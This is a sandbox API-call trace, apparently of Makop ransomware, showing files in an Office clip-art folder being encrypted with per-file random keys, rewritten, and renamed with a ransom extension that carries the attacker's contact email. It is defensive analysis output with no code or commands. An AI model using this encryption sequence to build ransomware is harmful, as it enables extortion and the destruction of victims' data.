1 [0120.880] GetProcessHeap () returned 0x48a0000 [0120.880] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.880] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.880] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.891] CloseHandle (hObject=0xf0) returned 1 [0120.892] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1 [0120.892] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0120.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.893] GetProcessHeap () returned 0x48a0000 [0120.893] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.893] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.893] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.893] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.898] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.898] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.898] GetProcessHeap () returned 0x48a0000 [0120.898] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.898] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.898] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.899] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.899] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.899] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.899] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.899] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.899] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.900] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.900] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.900] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x571c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x571c, lpOverlapped=0x0) returned 1 [0120.901] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5720, dwBufLen=0x5720 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5720) returned 1 [0120.902] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.902] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5720, lpOverlapped=0x0) returned 1 [0120.902] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.902] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x57f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.902] SetEndOfFile (hFile=0xf0) returned 1 [0120.909] GetProcessHeap () returned 0x48a0000 [0120.909] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.909] GetProcessHeap () returned 0x48a0000 [0120.909] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.909] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.909] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.911] CloseHandle (hObject=0xf0) returned 1 [0120.911] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1 [0120.911] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF") returned 63 [0120.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.916] GetProcessHeap () returned 0x48a0000 [0120.917] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.917] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.917] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.921] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.921] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.921] GetProcessHeap () returned 0x48a0000 [0120.921] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.922] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.922] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.923] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.923] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.923] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.923] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.923] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x614c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x614c, lpOverlapped=0x0) returned 1 [0120.925] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6150, dwBufLen=0x6150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6150) returned 1 [0120.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.925] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6150, lpOverlapped=0x0) returned 1 [0120.926] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.926] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.926] SetEndOfFile (hFile=0xf0) returned 1 [0120.934] GetProcessHeap () returned 0x48a0000 [0120.934] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.934] GetProcessHeap () returned 0x48a0000 [0120.934] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.934] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.934] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.936] CloseHandle (hObject=0xf0) returned 1 [0120.936] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107182.WMF", cAlternateFileName="")) returned 1 [0120.936] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF") returned 63 [0120.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.937] GetProcessHeap () returned 0x48a0000 [0120.937] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.937] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0120.942] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.942] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.942] GetProcessHeap () returned 0x48a0000 [0120.942] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.943] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.943] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.943] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.943] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.943] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.944] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.944] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.944] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.945] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.945] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3ee4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3ee4, lpOverlapped=0x0) returned 1 [0120.946] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ef0) returned 1 [0120.947] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.947] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ef0, lpOverlapped=0x0) returned 1 [0120.947] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.947] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.947] SetEndOfFile (hFile=0xf0) returned 1 [0120.955] GetProcessHeap () returned 0x48a0000 [0120.955] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0120.955] GetProcessHeap () returned 0x48a0000 [0120.955] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0120.955] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0120.955] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107182.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107182.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0120.957] CloseHandle (hObject=0xf0) returned 1 [0120.957] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107188.WMF", cAlternateFileName="")) returned 1 [0120.957] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF") returned 63 [0120.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107188.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107188.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0120.958] GetProcessHeap () returned 0x48a0000 [0120.958] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0120.958] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0120.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0120.958] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.963] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.963] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.963] GetProcessHeap () returned 0x48a0000 [0120.963] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0120.963] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0120.963] CryptDestroyKey (hKey=0x48c7128) returned 1 [0120.963] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0120.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0120.964] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0120.964] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0120.964] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0120.964] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0120.965] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0120.965] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0120.965] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.965] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11b8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11b8, lpOverlapped=0x0) returned 1 [0120.966] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11c0, dwBufLen=0x11c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11c0) returned 1 [0120.967] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.967] 